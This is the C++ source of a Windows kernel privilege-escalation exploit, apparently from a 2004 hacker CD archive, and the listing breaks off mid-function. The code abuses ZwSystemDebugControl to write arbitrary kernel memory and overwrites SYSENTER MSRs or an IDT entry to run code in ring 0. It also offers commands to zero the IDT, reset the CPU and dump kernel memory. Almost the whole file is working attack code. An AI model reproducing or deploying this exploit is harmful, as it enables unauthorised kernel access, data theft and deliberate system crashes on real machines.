home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / eploits / xploit_dbg.cpp / xploit_dbg.cpp.txt < prev   
Encoding:
Text File  |  2004-03-03  |  20.8 KB  |  1,035 lines

  1. /*
  2. * Discovered and coded Jan 25, 2004
  3. * Copyright (C)2004 randnut@hotmail.com
  4. */
  5.  
  6. #include <windows.h>
  7. #include <stdio.h>
  8.  
  9. typedef int NTSTATUS;
  10. #define NTAPI __stdcall
  11.  
  12. const IA32_SYSENTER_CS = 0x174;
  13. const IA32_SYSENTER_ESP = 0x175;
  14. const IA32_SYSENTER_EIP = 0x176;
  15.  
  16. const SelCodeKernel = 0x8;
  17. const CmosIndx = 0x0E;        // CMOS Diagnostic Status
  18. const RdWrIoPort = 0x80;
  19.  
  20. #define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
  21. #define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}
  22.  
  23. typedef enum _DEBUG_CONTROL_CODE {
  24.     DebugSysReadIoSpace = 14,
  25.     DebugSysWriteIoSpace = 15,
  26.     DebugSysReadMsr = 16,
  27.     DebugSysWriteMsr = 17,
  28.     DebugSysReadBusData = 18,
  29.     DebugSysWriteBusData = 19,
  30. } DEBUG_CONTROL_CODE;
  31.  
  32. typedef struct _MSR_STRUCT {
  33.     DWORD MsrNum;            // MSR number
  34.     DWORD NotUsed;            // Never accessed by the kernel
  35.     DWORD MsrLo;            // IN (write) or OUT (read): Low 32 bits of MSR
  36.     DWORD MsrHi;            // IN (write) or OUT (read): High 32 bits of MSR
  37. } MSR_STRUCT;
  38.  
  39. typedef struct _IO_STRUCT {
  40.     DWORD IoAddr;            // IN: Aligned to NumBytes,I/O address
  41.     DWORD Reserved1;        // Never accessed by the kernel
  42.     PVOID pBuffer;            // IN (write) or OUT (read): Ptr to buffer
  43.     DWORD NumBytes;            // IN: # bytes to read/write. Only use 1, 2, or 4.
  44.     DWORD Reserved4;        // Must be 1
  45.     DWORD Reserved5;        // Must be 0
  46.     DWORD Reserved6;        // Must be 1
  47.     DWORD Reserved7;        // Never accessed by the kernel
  48. } IO_STRUCT;
  49.  
  50. // Copied from the Windows DDK
  51. typedef enum _BUS_DATA_TYPE {
  52.   ConfigurationSpaceUndefined = -1,
  53.   Cmos,
  54.   EisaConfiguration,
  55.   Pos,
  56.   CbusConfiguration,
  57.   PCIConfiguration,
  58.   VMEConfiguration,
  59.   NuBusConfiguration,
  60.   PCMCIAConfiguration,
  61.   MPIConfiguration,
  62.   MPSAConfiguration,
  63.   PNPISAConfiguration,
  64.   SgiInternalConfiguration,
  65.   MaximumBusDataType
  66. } BUS_DATA_TYPE, *PBUS_DATA_TYPE;
  67.  
  68. // See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of 
  69. each field
  70. typedef struct _BUS_STRUCT {
  71.     ULONG  Offset;
  72.     PVOID  Buffer;
  73.     ULONG  Length;
  74.     BUS_DATA_TYPE  BusDataType;
  75.     ULONG  BusNumber;
  76.     ULONG  SlotNumber;
  77. } BUS_STRUCT;
  78.  
  79. typedef
  80. NTSTATUS
  81. (NTAPI *PZwSystemDebugControl)(
  82.     DEBUG_CONTROL_CODE ControlCode,
  83.     PVOID InputBuffer,
  84.     ULONG InputBufferLength,
  85.     PVOID OutputBuffer,
  86.     ULONG OutputBufferLength,
  87.     PULONG ReturnLength
  88.     );
  89.  
  90. PZwSystemDebugControl ZwSystemDebugControl = NULL;
  91.  
  92. enum Ring0Method {
  93.     Method1,
  94.     Method2,
  95. };
  96.  
  97. struct OldCpuState
  98. {
  99.     Ring0Method meth;
  100.     MSR_STRUCT msr[3];
  101.     DWORD AffinityMask;
  102.     DWORD EFLAGS, CS, SS, OldIdtDesc[2];
  103. };
  104.  
  105. void help()
  106. {
  107.     printf("Usage: name_of_program [option [option [...]]]\n");
  108.     printf("/test1                            - test for SYSENTER vuln\n");
  109.     printf("/test2                            - test for I/O write to mem 
  110. vuln\n");
  111.     printf("/test3                            - test for bus write to mem 
  112. vuln\n");
  113.     printf("/reset                            - reset CPU in ring 0\n");
  114.     printf("/zeroidt                          - zero IDT (reboots PC)\n");
  115.     printf("/wrmem <addr> <byte>              - write byte to mem\n");
  116.     printf("/rdmsr <num>                      - read MSR\n");
  117.     printf("/wrmsr <num> <hi> <lo>            - write MSR\n");
  118.     printf("/rdio <port> <size>               - read I/O port\n");
  119.     printf("/wrio <port> <size> <value>       - write I/O port\n");
  120.     printf("/dump <addr> <size>               - dump memory from ring 0\n");
  121.     exit(0);
  122. }
  123.  
  124. int rdmsr(int MsrNum, MSR_STRUCT& msr)
  125. {
  126.     msr.MsrNum = MsrNum;
  127.     return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0, 
  128. NULL) >= 0;
  129. }
  130.  
  131. int wrmsr(int MsrNum, MSR_STRUCT& msr)
  132. {
  133.     msr.MsrNum = MsrNum;
  134.     return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0, 
  135. NULL) >= 0;
  136. }
  137.  
  138. void PrintMsr(MSR_STRUCT& msr)
  139. {
  140.     printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo);
  141. }
  142.  
  143. int HasSysEnter()
  144. {
  145.     int retval = 0;
  146.  
  147.     __try
  148.     {
  149.         __asm
  150.         {
  151.             mov    eax,1
  152.             cpuid
  153.             shr    edx,12
  154.             adc    retval,0
  155.         }
  156.     }
  157.     __except (EXCEPTION_EXECUTE_HANDLER)
  158.     {
  159.     }
  160.  
  161.     return retval;
  162. }
  163.  
  164. int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)
  165. {
  166.     DWORD tmp;
  167.  
  168.     FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(), 
  169. pOldAffinityMask, &tmp));
  170.     FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));
  171.  
  172.     return 1;
  173. }
  174.  
  175. /*
  176. * Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.
  177. * If ppAddr == NULL, returns byte read on success.
  178. */
  179. int CmosRead(int offs, BYTE** ppAddr = NULL)
  180. {
  181.     BYTE buf;
  182.     BUS_STRUCT bus;
  183.  
  184.     bus.BusDataType = Cmos;
  185.     bus.BusNumber = 0;
  186.     bus.SlotNumber = offs;
  187.     bus.Buffer = ppAddr ? *ppAddr : &buf;
  188.     bus.Offset = 0;
  189.     bus.Length = 1;
  190.  
  191.     if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0, 
  192. NULL) < 0)
  193.         return -1;
  194.     else
  195.         return ppAddr ? 0x100 : buf;
  196. }
  197.  
  198. /*
  199. * Returns 0 on failure, 1 on success
  200. */
  201. int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
  202. {
  203.     BUS_STRUCT bus;
  204.  
  205.     bus.BusDataType = Cmos;
  206.     bus.BusNumber = 0;
  207.     bus.SlotNumber = offs;
  208.     bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
  209.     bus.Offset = 0;
  210.     bus.Length = 1;
  211.  
  212.     return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL, 
  213. 0, NULL) >= 0;
  214. }
  215.  
  216. /*
  217. * Write a byte to any location by exploiting another bug in the kernel. This 
  218. function
  219. * uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any 
  220. address.
  221. * This code must execute in ring 3.
  222. */
  223. int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
  224. {
  225.     IO_STRUCT io;
  226.  
  227.     memset(&io, 0, sizeof(io));
  228.     io.IoAddr = RdWrIoPort;
  229.     io.pBuffer = &Value;
  230.     io.NumBytes = 1;
  231.     io.Reserved4 = 1;
  232.     io.Reserved6 = 1;
  233.     if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, 
  234. NULL) < 0)
  235.         return 0;
  236.  
  237.     memset(&io, 0, sizeof(io));
  238.     io.IoAddr = RdWrIoPort;
  239.     io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
  240.     io.NumBytes = 1;
  241.     io.Reserved4 = 1;
  242.     io.Reserved6 = 1;
  243.     if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
  244. NULL) < 0)
  245.         return 0;
  246.  
  247.     return 1;
  248. }
  249.  
  250. /*
  251. * Read a byte from any location by exploiting another bug in the kernel. 
  252. This function
  253. * uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from 
  254. any address.
  255. * This code must execute in ring 3.
  256. */
  257. int Method1_ReadMemByte(DWORD MemAddr)
  258. {
  259.     BYTE Value;
  260.  
  261.     IO_STRUCT io;
  262.     memset(&io, 0, sizeof(io));
  263.     io.IoAddr = RdWrIoPort;
  264.     io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
  265.     io.NumBytes = 1;
  266.     io.Reserved4 = 1;
  267.     io.Reserved6 = 1;
  268.     if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, 
  269. NULL) < 0)
  270.         return -1;
  271.  
  272.     memset(&io, 0, sizeof(io));
  273.     io.IoAddr = RdWrIoPort;
  274.     io.pBuffer = &Value;
  275.     io.NumBytes = 1;
  276.     io.Reserved4 = 1;
  277.     io.Reserved6 = 1;
  278.     if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
  279. NULL) < 0)
  280.         return -1;
  281.  
  282.     return Value;
  283. }
  284.  
  285. int CmosTest()
  286. {
  287.     int OldVal = CmosRead(CmosIndx);
  288.     if (OldVal < 0)
  289.         return 0;
  290.  
  291.     static int HasTested = 0;
  292.     if (HasTested == 0)
  293.     {
  294.         HasTested = -1;
  295.  
  296.         if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||
  297.             !CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA ||
  298.             !CmosWrite(CmosIndx, (BYTE)OldVal))
  299.         {
  300.             printf("There's something wrong with your CMOS\n");
  301.             return 0;
  302.         }
  303.  
  304.         HasTested = 1;
  305.     }
  306.     else if (HasTested == -1)
  307.         return 0;
  308.  
  309.     return 1;
  310. }
  311.  
  312. /*
  313. * Write a byte to any location by exploiting another bug in the kernel. This 
  314. function
  315. * uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any 
  316. address.
  317. * This code must execute in ring 3.
  318. */
  319. int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
  320. {
  321.     if (!CmosTest())
  322.         return 0;
  323.  
  324.     int OldVal = CmosRead(CmosIndx);
  325.     if (OldVal < 0)
  326.         return 0;
  327.  
  328.     BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
  329.     if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||
  330.         !CmosWrite(CmosIndx, OldVal))
  331.         return 0;
  332.  
  333.     return 1;
  334. }
  335.  
  336. /*
  337. * Read a byte from any location by exploiting another bug in the kernel. 
  338. This function
  339. * uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from 
  340. any address.
  341. * This code must execute in ring 3.
  342. */
  343. int Method2_ReadMemByte(DWORD MemAddr)
  344. {
  345.     int OldVal, RetVal;
  346.  
  347.     if (!CmosTest())
  348.         return -1;
  349.  
  350.     BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
  351.     if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||
  352.         (RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal))
  353.         return -1;
  354.  
  355.     return RetVal;
  356. }
  357.  
  358. static int MemAccessMethType = -1;
  359. int SetMemAccessMeth(int NewMeth)
  360. {
  361.     int old = MemAccessMethType;
  362.  
  363.     if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)
  364.         MemAccessMethType = NewMeth;
  365.  
  366.     return old;
  367. }
  368.  
  369. int WriteMemByte(DWORD MemAddr, BYTE Value)
  370. {
  371.     switch (MemAccessMethType)
  372.     {
  373.     case 1:
  374.         return Method1_WriteMemByte(MemAddr, Value);
  375.  
  376.     case 2:
  377.         return Method2_WriteMemByte(MemAddr, Value);
  378.  
  379.     case -1:
  380.     default:
  381.         return Method1_WriteMemByte(MemAddr, Value) || 
  382. Method2_WriteMemByte(MemAddr, Value);
  383.     }
  384. }
  385.  
  386. int ReadMemByte(DWORD MemAddr)
  387. {
  388.     switch (MemAccessMethType)
  389.     {
  390.     case 1:
  391.         return Method1_ReadMemByte(MemAddr);
  392.  
  393.     case 2:
  394.         return Method2_ReadMemByte(MemAddr);
  395.  
  396.     case -1:
  397.     default:
  398.         int RetVal;
  399.         if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
  400.             (RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
  401.             (void)0 /* Nothing */;
  402.         return RetVal;
  403.     }
  404. }
  405.  
  406. /*
  407. * Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing 
  408. SYSENTER.
  409. * Returns 1 on success. If it returns 1, EFLAGS.IF=0.
  410. */
  411. int Method1_EnterRing0(OldCpuState& old)
  412. {
  413.     old.meth = Method1;
  414.     if (!HasSysEnter())
  415.         return 0;
  416.  
  417.     FCHK(SetProcessor(1, &old.AffinityMask));
  418.     FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);
  419.     FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);
  420.     FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);
  421.  
  422.     DWORD Ring0Addr;
  423.     __asm
  424.     {
  425.         mov    Ring0Addr,offset ring0_addr
  426.     }
  427.  
  428.     Sleep(100);    // A more reliable way is to block all interrupts through the 
  429. PIC.
  430.  
  431.     MSR_STRUCT msr;
  432.     if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
  433.     {
  434.         // IMPORTANT:
  435.         // I assume the OS sets up the GDT as follows:
  436.         // base:ring0 code
  437.         //        ring0 data
  438.         //        ring3 code
  439.         //        ring3 data
  440.         // Will crash eventually if it's not setup that way
  441.         msr.MsrLo = SelCodeKernel;
  442.         msr.MsrHi = 0;
  443.         FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
  444.     }
  445.  
  446.     msr.MsrHi = 0;
  447.     msr.MsrLo = Ring0Addr;
  448.     FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2);    // Let's hope we won't get 
  449. interrupted after this call
  450.  
  451.     __asm
  452.     {
  453.         mov        ecx,esp
  454.         // Hmm, can't assemble SYSENTER or DB 0F,34
  455.         jmp        short $+3
  456.         mov        eax,9090340Fh
  457. ring0_addr:
  458.         mov        esp,ecx
  459.         // Hot dog! :)
  460.     }
  461.  
  462.     return 1;
  463.  
  464. cleanup2:
  465.     if (old.msr[0].MsrLo == 0)
  466.         wrmsr(IA32_SYSENTER_CS, old.msr[0]);
  467. cleanup:
  468.     FCHK(SetProcessor(old.AffinityMask, NULL));
  469.     return 0;
  470. }
  471.  
  472. /*
  473. * Enters ring 3
  474. */
  475. void Method1_LeaveRing0(OldCpuState& old)
  476. {
  477.     MSR_STRUCT* pmsr = &old.msr[0];
  478.     __asm
  479.     {
  480.         mov        ebx,pmsr
  481.  
  482.         mov        ecx,[ebx]        // IA32_SYSENTER_CS
  483.         mov        eax,[ebx+8]
  484.         mov        edx,[ebx+0Ch]
  485.         test    eax,eax
  486.         jz        skip1
  487.         wrmsr
  488. skip1:
  489.  
  490.         mov        ecx,[ebx+10h]    // IA32_SYSENTER_ESP
  491.         mov        eax,[ebx+10h+8]
  492.         mov        edx,[ebx+10h+0Ch]
  493.         wrmsr
  494.  
  495.         mov        ecx,[ebx+20h]    // IA32_SYSENTER_EIP
  496.         mov        eax,[ebx+20h+8]
  497.         mov        edx,[ebx+20h+0Ch]
  498.         wrmsr
  499.  
  500.         mov        ecx,esp
  501.         mov        edx,offset ring3_code
  502.         // Hmm, can't assemble SYSEXIT or DB 0F,35
  503.         jmp        short $+3
  504.         mov        eax,90350FFBh
  505. ring3_code:
  506.     }
  507.     if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
  508.         wrmsr(old.msr[0].MsrNum, old.msr[0]);
  509.  
  510.     SetProcessor(old.AffinityMask, NULL);
  511. }
  512.  
  513. /*
  514. * Tries to enter ring 0 by telling the kernel to write to the IDT with bytes 
  515. we control.
  516. * Returns 1 on success. If it returns 1, EFLAGS.IF=0.
  517. */
  518. int Method2_EnterRing0(OldCpuState& old)
  519. {
  520.     old.meth = Method2;
  521.     FCHK(SetProcessor(1, &old.AffinityMask));
  522.  
  523.     DWORD Ring0Addr, EFLAGS, _CS, _SS;
  524.     DWORD idt[2], idt_base, idt_limit;
  525.     __asm
  526.     {
  527.         mov        Ring0Addr,offset ring0_addr
  528.         sidt    idt+2
  529.         movzx    eax,word ptr idt+2
  530.         mov        idt_limit,eax
  531.         mov        eax,idt+4
  532.         mov        idt_base,eax
  533.         pushfd
  534.         pop        eax
  535.         mov        EFLAGS,eax
  536.         mov        word ptr _CS,cs
  537.         mov        word ptr _SS,ss
  538.     }
  539.     old.EFLAGS = EFLAGS;
  540.     old.CS = _CS;
  541.     old.SS = _SS;
  542.  
  543. #define IntNum 0xFF
  544.  
  545.     if (IntNum*8 + 7 > idt_limit)
  546.     {
  547.         printf("ERROR: The interrupt number is outside the IDT. Change it and 
  548. recompile.\n");
  549.         goto cleanup;
  550.     }
  551.  
  552.     BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;
  553.     for (int i = 0; i < 8; i++)
  554.     {
  555.         int SomeByte;
  556.         FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup);
  557.         *pOldIdtDesc++ = (BYTE)SomeByte;
  558.     }
  559.  
  560.     DWORD IdtDesc[2];
  561.     IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);
  562.     IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00;    // 32-bit interrupt gate, 
  563. DPL3
  564.  
  565.     for (int i = 0; i < 8; i++)
  566.         FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)), 
  567. cleanup);
  568.  
  569.     __asm
  570.     {
  571.         xchg    esp,eax
  572.         int        IntNum
  573. ring0_addr:
  574.         xchg    esp,eax
  575.         // What do you know, it worked!
  576.     }
  577.  
  578.     return 1;
  579.  
  580. cleanup:
  581.     FCHK(SetProcessor(old.AffinityMask, NULL));
  582.     return 0;
  583. }
  584.  
  585. /*
  586. * Enters ring 3
  587. */
  588. void Method2_LeaveRing0(OldCpuState& old)
  589. {
  590.     DWORD idt[2];
  591.     DWORD EFLAGS = old.EFLAGS;
  592.     DWORD _CS = old.CS;
  593.     DWORD _SS = old.SS;
  594.     DWORD* pOldIdtDesc = &old.OldIdtDesc[0];
  595.     __asm
  596.     {
  597.         sidt    idt+2
  598.         mov        eax,idt+4
  599.         mov        ecx,pOldIdtDesc
  600.         mov        edx,[ecx]
  601.         mov        ecx,[ecx+4]
  602.         mov        [eax+IntNum*8],edx
  603.         mov        [eax+IntNum*8+4],ecx
  604.  
  605.         mov        eax,esp
  606.         push    _SS
  607.         push    eax
  608.         mov        eax,EFLAGS
  609.         and        eax,not (1 shl 0Eh)
  610.         push    eax
  611.         push    _CS
  612.         push    offset ring3_addr
  613.         iretd
  614. ring3_addr:
  615.     }
  616.  
  617.     SetProcessor(old.AffinityMask, NULL);
  618. }
  619.  
  620. int EnterRing0(OldCpuState& old)
  621. {
  622.     /*
  623.      * Method2 is safer than Method1
  624.      */
  625.     return Method2_EnterRing0(old) || Method1_EnterRing0(old);
  626. }
  627.  
  628. void LeaveRing0(OldCpuState& old)
  629. {
  630.     switch (old.meth)
  631.     {
  632.     case Method1:    Method1_LeaveRing0(old); break;
  633.     case Method2:    Method2_LeaveRing0(old); break;
  634.     default:        __asm jmp    short $
  635.     }
  636. }
  637.  
  638. int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
  639. {
  640.     TOKEN_PRIVILEGES tok;
  641.  
  642.     tok.PrivilegeCount = 1;
  643.     tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;
  644.  
  645.     FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
  646.     FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));
  647.  
  648.     return 1;
  649. }
  650.  
  651. void PrintDelay(int secs)
  652. {
  653.     while (secs--)
  654.     {
  655.         printf("%d..", secs+1);
  656.         Sleep(1000);
  657.     }
  658.     printf("NOW\n");
  659. }
  660.  
  661. void PrintVulnMsg(int failed)
  662. {
  663.     if (!failed)
  664.         printf("Your operating system is vulnerable to this exploit.\n");
  665.     else
  666.     {
  667.         printf("If this user account has the SeDebugPrivilege privilege then 
  668. your\n");
  669.         printf("OS doesn't appear to be vulnerable.\n\n");
  670.     }
  671. }
  672.  
  673. DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)
  674. {
  675.     if (!bufsz || !buf)
  676.         return 0;
  677.  
  678. #if 0
  679. /*
  680. * Will crash XP if we read from non-present memory so don't use this code
  681. */
  682.     BYTE* p = (BYTE*)buf;
  683.     for (DWORD i = 0; i < bufsz; i++)
  684.     {
  685.         int SomeByte;
  686.         if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
  687.             break;
  688.         p[i] = (BYTE)SomeByte;
  689.     }
  690.     return i;
  691. #else
  692.     OldCpuState old;
  693.     if (!EnterRing0(old))
  694.         return 0;
  695.  
  696.     DWORD ret_val;
  697.     __asm
  698.     {
  699.         sub        esp,8
  700.         sidt    [esp+2]
  701.         mov        ebx,[esp+4]
  702.         add        esp,8
  703.         push    dword ptr [ebx+0Eh*8]
  704.         push    dword ptr [ebx+0Eh*8+4]
  705.  
  706.         mov        eax,offset xcpt_handler
  707.         mov        [ebx+0Eh*8],eax
  708.         mov        [ebx+0Eh*8+4],eax
  709.         mov        word ptr [ebx+0Eh*8+4],8E00h
  710.         mov        word ptr [ebx+0Eh*8+2],cs
  711.  
  712.         mov        ecx,bufsz
  713.         mov        esi,MemAddr
  714.         mov        edi,buf
  715.         rep movsb
  716.         jmp        skip_xcpt
  717. xcpt_handler:
  718.         add        esp,8
  719.         popfd
  720.         pop        eax
  721. skip_xcpt:
  722.         pop        dword ptr [ebx+0Eh*8+4]
  723.         pop        dword ptr [ebx+0Eh*8]
  724.  
  725.         mov        eax,bufsz
  726.         sub        eax,ecx
  727.         mov        ret_val,eax
  728.     }
  729.  
  730.     LeaveRing0(old);
  731.     return ret_val;
  732. #endif
  733. }
  734.  
  735. int DumpMem(DWORD MemAddr, DWORD size)
  736. {
  737.     if (size == 0)
  738.         return 1;
  739.     if (MemAddr + size - 1 < MemAddr)
  740.         return 0;
  741.  
  742.     DWORD OldMask;
  743.     FCHK(SetProcessor(1, &OldMask));
  744.  
  745.     int ret = 1;
  746.     const BytesPerLine = 16;
  747.     while (size)
  748.     {
  749.         BYTE buf[BytesPerLine];
  750.         DWORD addr = MemAddr - MemAddr % BytesPerLine;
  751.         DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);
  752.  
  753.         printf("%08X:", addr);
  754.         for (int i = 0; i < BytesPerLine; i++)
  755.         {
  756.             if ((i & 3) == 0 && i != 0)
  757.                 printf("-");
  758.             else
  759.                 printf(" ");
  760.             if (addr < MemAddr || addr > MemAddr+size-1)
  761.                 printf("  ");
  762.             else if ((DWORD)i >= SizeRead)
  763.                 printf("??");
  764.             else
  765.                 printf("%02X", buf[i]);
  766.             addr++;
  767.         }
  768.         printf(" ");
  769.  
  770.         addr = MemAddr - MemAddr % BytesPerLine;
  771.         for (int i = 0; i < BytesPerLine; i++)
  772.         {
  773.             if (addr < MemAddr || addr > MemAddr+size-1)
  774.                 printf(" ");
  775.             else if ((DWORD)i >= SizeRead)
  776.                 printf("?");
  777.             else if (buf[i] >= 0x20 && buf[i] <= 0x7E)
  778.                 printf("%c", buf[i]);
  779.             else
  780.                 printf(".");
  781.             addr++;
  782.         }
  783.         printf("\n");
  784.  
  785.         size -= min(size, addr - MemAddr);
  786.         MemAddr = addr;
  787.     }
  788.  
  789.     SetProcessor(OldMask, NULL);
  790.     return ret;
  791. }
  792.  
  793. int main(int argc, char* argv[])
  794. {
  795.     HMODULE hNtdll;
  796.     FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
  797.     FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll, 
  798. "ZwSystemDebugControl")) != NULL);
  799.  
  800.     HANDLE hToken;
  801.     FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | 
  802. TOKEN_QUERY, &hToken));
  803.     FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
  804.  
  805.     for (int i = 1; i < argc; i++)
  806.     {
  807.         char* s = argv[i];
  808.         if (*s != '/' && *s != '-')
  809.             help();
  810.         s++;
  811.  
  812.         if (!strcmp(s, "rdmsr") && i+1 < argc)
  813.         {
  814.             MSR_STRUCT msr;
  815.             int num = strtoul(argv[++i], NULL, 0);
  816.             if (rdmsr(num, msr))
  817.                 PrintMsr(msr);
  818.             else
  819.                 printf("rdmsr(%08X) failed\n", num);
  820.         }
  821.         else if (!strcmp(s, "wrmsr") && i+3 < argc)
  822.         {
  823.             MSR_STRUCT msr;
  824.             int num = strtoul(argv[++i], NULL, 0);
  825.             msr.MsrHi = strtoul(argv[++i], NULL, 0);
  826.             msr.MsrLo = strtoul(argv[++i], NULL, 0);
  827.             if (!wrmsr(num, msr))
  828.             {
  829.                 printf("wrmsr(%08X) failed\n", num);
  830.                 continue;
  831.             }
  832.             if (rdmsr(num, msr))
  833.                 PrintMsr(msr);
  834.             else
  835.                 printf("rdmsr(%08X) failed\n", num);
  836.         }
  837.         else if (!strcmp(s, "rdio") && i+2 < argc)
  838.         {
  839.             IO_STRUCT io;
  840.             memset(&io, 0, sizeof(io));
  841.             DWORD Buffer;
  842.             io.IoAddr = strtoul(argv[++i], NULL, 0);
  843.             io.pBuffer = &Buffer;
  844.             io.NumBytes = strtoul(argv[++i], NULL, 0);
  845.             io.Reserved4 = 1;
  846.             io.Reserved6 = 1;
  847.  
  848.             if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
  849.             {
  850.                 printf("Size must be 1, 2, or 4 bytes\n");
  851.                 continue;
  852.             }
  853.             if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
  854. NULL) < 0)
  855.             {
  856.                 printf("Could not read I/O space\n");
  857.                 continue;
  858.             }
  859.             switch (io.NumBytes)
  860.             {
  861.             case 1: printf("0x%02X\n", (BYTE)Buffer); break;
  862.             case 2: printf("0x%04X\n", (WORD)Buffer); break;
  863.             case 4: printf("0x%08X\n", Buffer); break;
  864.             default: printf("WTF\n"); break;
  865.             }
  866.         }
  867.         else if (!strcmp(s, "wrio") && i+3 < argc)
  868.         {
  869.             IO_STRUCT io;
  870.             memset(&io, 0, sizeof(io));
  871.             DWORD Buffer;
  872.             io.IoAddr = strtoul(argv[++i], NULL, 0);
  873.             io.pBuffer = &Buffer;
  874.             io.NumBytes = strtoul(argv[++i], NULL, 0);
  875.             io.Reserved4 = 1;
  876.             io.Reserved6 = 1;
  877.             Buffer = strtoul(argv[++i], NULL, 0);
  878.  
  879.             if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
  880.             {
  881.                 printf("Size must be 1, 2, or 4 bytes\n");
  882.                 continue;
  883.             }
  884.             if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, 
  885. NULL) < 0)
  886.             {
  887.                 printf("Could not write to I/O space\n");
  888.                 continue;
  889.             }
  890.         }
  891.         else if (!strcmp(s, "reset"))
  892.         {
  893.             OldCpuState old;
  894.             printf("Will reset computer in...");
  895.             PrintDelay(3);
  896.  
  897.             if (!EnterRing0(old))
  898.             {
  899.                 printf("Could not enter ring 0\n");
  900.                 continue;
  901.             }
  902.             __asm
  903.             {
  904.                 push    0
  905.                 lidt    [esp]
  906.                 pop        esp
  907.                 inc        esp
  908.                 push    esp
  909.             }
  910.             LeaveRing0(old);
  911.             printf("WTF\n");
  912.         }
  913.         else if (!strcmp(s, "wrmem") && i+2 < argc)
  914.         {
  915.             DWORD MemAddr = strtoul(argv[++i], NULL, 0);
  916.             BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);
  917.  
  918.             if (!WriteMemByte(MemAddr, Value))
  919.             {
  920.                 printf("Could not write the byte\n");
  921.                 continue;
  922.             }
  923.         }
  924.         else if (!strcmp(s, "zeroidt"))
  925.         {
  926.             DWORD OldMask;
  927.             if (!SetProcessor(1, &OldMask))
  928.             {
  929.                 printf("SetProcessor() failed\n");
  930.                 continue;
  931.             }
  932.  
  933.             DWORD idt[2];
  934.             int idt_size, idt_base;
  935.             __asm
  936.             {
  937.                 sidt    idt+2
  938.                 movzx    eax,word ptr idt+2
  939.                 mov        idt_size,eax
  940.                 mov        eax,idt+4
  941.                 mov        idt_base,eax
  942.             }
  943.             printf("Will start writing to IDT @ %08X in...", idt_base);
  944.             PrintDelay(3);
  945.  
  946.             for (int j = 0; j <= idt_size; j++)
  947.             {
  948.                 if (!WriteMemByte(idt_base + j, 0x00))
  949.                 {
  950.                     printf("Could not write the byte to address %08X\n", idt_base + j);
